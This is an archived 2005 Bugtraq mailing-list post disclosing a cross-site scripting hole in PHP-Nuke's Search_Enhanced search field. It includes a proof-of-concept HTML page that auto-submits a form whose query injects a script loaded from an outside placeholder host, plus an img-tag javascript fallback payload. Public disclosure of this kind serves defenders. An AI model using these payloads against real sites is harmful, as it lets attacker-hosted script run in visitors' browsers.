[40914] in bugtraq

home help back first fref pref prev next nref lref last post

PHP-Nuke Cross-Site Scripting Vulnerability

daemon@ATHENA.MIT.EDU (bhfh01@gmail.com)
Wed Oct 26 22:49:47 2005

Date: 25 Oct 2005 19:03:10 -0000
Message-ID: <20051025190310.8660.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: bhfh01@gmail.com
To: bugtraq@securityfocus.com

i am sorry but i had a little problem with my 
old e-mail address , my new one is bhfh01@gmail.com 

the mail:

PHP-Nuke 
Search Cross-Site Scripting Vulnerability

Vulnerable: i think all ver.
data:2005-09-5

The search field at modules.php?name=Search_Enhanced is vulnerable to html injection attacks.

exploit :

#open_me.htm ::

<html>
<form name=searchform method=post action=http://[target]/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>

Note: the chars ' and " are not allowd in that search.


If the '<script>' tag isnt allowed , try to search the value: <img src=javascript:alert(&quot;xss-here&quot;)> ...


thanks , B~HFH.
bhfh01@gmail.com 

home help back first fref pref prev next nref lref last post